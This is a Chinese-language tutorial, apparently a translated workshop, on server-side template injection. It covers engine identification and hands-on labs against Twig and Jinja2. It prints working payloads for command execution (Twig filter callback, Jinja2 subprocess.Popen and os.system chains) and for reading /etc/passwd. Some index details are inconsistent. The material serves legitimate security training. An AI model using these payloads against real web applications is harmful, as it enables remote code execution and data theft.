详解模板注入漏洞（上）

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1.简介

所谓模板注入，又称服务器端模板注入（SSTI），是2015年出现的一类安全漏洞。James Kettle在2015年黑帽大会上进行的演讲，为多个模板引擎的漏洞利用技术奠定了坚实的基础。要想利用这类安全漏洞，需要对相关的模板库或相关的语言有一定程度的了解。

首先，本文将对模板注入漏洞进行相应的介绍，帮读者深入了解各种攻击模式，以更好地识别潜在的漏洞。然后，我们将考察5种不同的模板引擎，并且这些模版各有特色。其中，对于每个模板引擎，我们都会提供一个练习，其中含有已“暴露”模板引擎的Web应用程序。

所需软件

在软件方面，唯一的要求是安装相应的HTTP拦截代理。

  1. Burp Suite
  2. OWASP ZAP

如果你只安装了Web浏览器的话，将无法完成本文描述的实验。但是，这并不妨碍您继续阅读下面的内容。

运行应用程序

为了完成这个练习，您需要自己运行实验中的应用程序。并且，为了便于部署，所有应用程序都可以提供docker容器获取。

  1. 下载代码。 
$ git clone https://github.com/GoSecure/template-injection-workshop
  1. 阅读构建说明（详见%application_dir%/README.md），注意，对于不同的应用程序，这一步回有所不同。
  2. 使用docker-compose启动应用程序。 
$ docker-compose up

配置DNS（可选）

为了使相关的链接可以正常使用，您可以在本地主机文件（/etc/hosts或C:\Windows/system32\drivers\etc\hosts）中添加如下所示的一行内容：

127.0.0.1template-injection.gosec.co

相关视频

您可以通过视频观看完整的研讨会。通过视频，您可以聆听所有的讲解，并观看所有练习的演示过程。为此，您可以在新窗口中打开相应的YouTube页面，来查看各章节的内容。

 

2. 模板注入

借助于模板引擎，开发人员就可以在应用程序中使用静态模板文件了。在运行时，模板引擎会用实际值替换模板文件中的相关变量，并将模板转化为HTML文件发送给客户端。这种方法使设计HTML页面变得更加轻松。

虽然模板是静态部署的，但高度可配置服务（SaaS）的出现使得一些模板库可以直接“暴露”在互联网上。这些看似非常有限的模版库其实比许多开发者想象的要强大得多。

数据绑定示例

在模板中，开发人员需要为动态值定义静态内容和占位符。在运行时，模板将交由引擎处理，以映射模板中的动态值引用。 

Hello {{firstName}} {{lastName}}!

简单模板示例

模板是通常以脚本的形式提供，它的作用不仅仅是简单的数据绑定。因为数据结构可能很复杂（比如列表和嵌套对象），所以，模板通常会提供一些类似于编程的功能。例如，模板引擎可能会允许访问对象的相关字段，具体如下所示： 

Hello {{user.firstName}} {{user.lastName}}!

嵌套属性示例

像上面这样的嵌套属性并不会直接交由语言进行处理，相反，而是由引擎来解析占位符内的动态值user.firstName。引擎将直接调用方法或字段firstname。这种语法通常简单紧凑，以便于使用。同时，由于这些语法通常非常强大，以至于可以脱离简单数据绑定的上下文。

突破常规思维

为了滥用模板引擎，攻击者需要充分利用模板引擎所提供的各种功能。

如果引擎允许访问字段，就可以访问我们感兴趣的内部数据结构。进一步，这些内部数据结构可能具有我们想覆盖的状态。因此，它们可能会暴露出强大的类型。

如果引擎允许函数调用，那么，我们的目标就是读取文件、执行命令或访问应用程序的内部状态的函数。

实际上，后面的六个练习就是演示如何通过各种技术来达到上述目的的。

3. 识别模板引擎

目前，已经存在大量的模板库。实际上，我们可以在每种编程语言中找到几十个库。在实践中，如果我们把自己限制在最流行的库中，当我们知道使用的语言时，我们可以将注意力集中在2到3个潜在的库上面。

C#（StringTemplate，Sharepoint上动态使用的ASPX）。

Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)

PHP（Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Python、Jinja2、Tornado、mustache和String Template）。

Go (text/template)

启发式方法

与其盲目地测试每一个已知的payload，不如以某种程度的置信度来确认所使用的技术。另外，最终的payload可能需要进行一些调整，以符合特定的运行时环境的要求。

下面是James Kettles提出的决策树，可以用来识别所使用的模板。这个决策树是由简单的评估组成的，其中的表达式无法适用于每一种技术。由于这些都是非常基本的表达式，所以当一个模版库的新版本发布时，这些表达式也不会很快变得过时。当然，相关的方法名和高级语法可能会随着时间的推移而发生变化。

图1 决策树

 

4. LAB 1：Twig (PHP)

简介

Twig可能是PHP最流行的模板库，它是由Synfony（一个非常流行的PHP框架）的创建者开发的。在我们的练习中，我们还将用到Craft CMS，它是一个内部使用Twig的内容管理系统。

模板语法基础知识

Twig语法不仅简单，而且非常紧凑。下面是几个基本的变量绑定的例子。 

Hello {{ var }}

Hello {{ var|escape }}

变量绑定示例

参考资料：Twig官方文档

攻击面

对于Twig来说，其变量_self暴露了Twig内部的许多API。下面是一个恶意的payload，可以用来攻击registerUndefinedFilterCallback函数。在下面的有效载荷中，命令id被执行后，将返回当前用户的id（Linux）。 

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

命令执行示例

练习

为了完成本练习，请连接到相应的Web服务器：http://template-injection.gosec.co:8012/。

它将提供一个非常简单的表单，其中只有一个字段。

在这个表单中，您可以提交一个简单的表达式来确认模板是否用于显示值。下面的表达式将进行减法运算。 

{{1338-1}}

上面减法运算的结果，应该显示为1337 

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

执行id命令

id命令的结果应该是： 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

您能访问服务器上的flag.txt文件吗？

 

5. LAB 2：Jinja2（Python）

简介

Jinja是Python中一个流行的模板引擎，它与Django模板非常相似。不过，与Django模板相比，Jinsa可以轻松地在运行时动态使用。Django模板被设计为存储在静态文件中的动态视图。

模板语法基础知识

下面是几个简单的表达式，用于演示Jinja的基本语法。 

//String

{{ message }}

//Accessing an attribute

{{ foo.bar }}

//Accessing an attribute (alternative)

{{ foo['bar'] }}

基本的变量绑定

参考文献：Jinja官方文档

攻击面

实际上，Python元数据属性可以从任何Python对象中读取。此外，方法调用也不会被过滤。不过，获取诸如命令执行等强大的操作权限可并不简单。

Jinja漏洞利用的基础知识

我们可以通过元属性__class__来访问类。 

{{''.__class__}}

<type 'str'>

从任何类中，我们都可以获得Method Resolution Order(MRO)对象。MRO对象包含当前类型的类层次结构。 

{{''.__class__.__mro__}}

<type 'str'>, <type 'basestring'>, <type 'object'>

通过之前找到的类型对象，我们可以列出其所有子类。实际上，这相当于枚举了当前上下文中加载的所有类。不过，到底有哪些可用的类，这完全取决于应用程序的导入操作。在Jinja2中，导入操作是不容易触发的。 

{{''.__class__.__mro__[2].__subclasses__()}}

<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'> [...]

我们可以从上面的列表中挑选任何类型，并调用这些类型的方法。对象子类列表中索引40对应的元素是({{”.__class__.__mro__[2].__subclasses__()[40])。我们可以使用该类型来读取任意文件。 

{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}

//The previous extension is analog to

file("/etc/passwd","r").read()

上面的payload仅适用于Python 2.7。

参考资料：

Exploring SSTI in Flask/Jinja2 – Part 2

Cheatsheet – Flask & Jinja2 SSTI

使用subprocess.Popen

在这里，我们需要努力寻找的一个强大类型是subprocess.Popen。

在Python 3.8中，它的索引可能是245。当然，这个索引值会根据加载的模块的不同而有所变化。 

{{[].__class__.__mro__[1].__subclasses__()[396]}}

<class 'subprocess.Popen'>

在Python 2.7中，它的索引可能是245。 

{{[].__class__.__mro__[1].__subclasses__()[245]}}

<class 'subprocess.Popen'>

执行指令： 

{{[].__class__.__mro__[1].__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

Os模块（Python 2.7）

除了上面介绍的类型之外，还有一种类型也有可能被攻击者所利用。它缓存了所有可用的python模块，其中，我们可以找到os模块。 

WARNINGS_INSTANCE.__init__.func_globals['linecache'].__dict__.values()[12]

<module 'os' from '/usr/lib/python2.7/os.pyc'>

来源：https://hexplo.it/escaping-the-csawctf-python-sandbox/

将这个有趣的模式应用于Jinja模板，我们就能得到如下所示的payload。 

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd')}}

这里有一个two-step的payload：先执行一个命令并将命令输出临时存储在temp文件夹中，然后，再使用另一个Jinja表达式来读取命令输出。 

{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd') }}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read() }}

这些payload仅适用于Python 2.7。

练习

为了完成这个练习，请连接到Web服务器http://template-injection.gosec.co:8013/。

首先，您必须检测在模板中放置了哪个HTTP参数。为此，您可以借助于简单的算术表达式。

使用以上方法可以充分利用这个漏洞。

您可以访问服务器上的flag.txt文件了吗？

 

小结

在本文中，我们为读者详细介绍了模版注入漏洞的概念，模版引擎的识别方法，以及两种模版引擎相关的注入漏洞。在接下来的文章中，我们将继续为读者介绍其他四种模版相关的注入漏洞。

（完）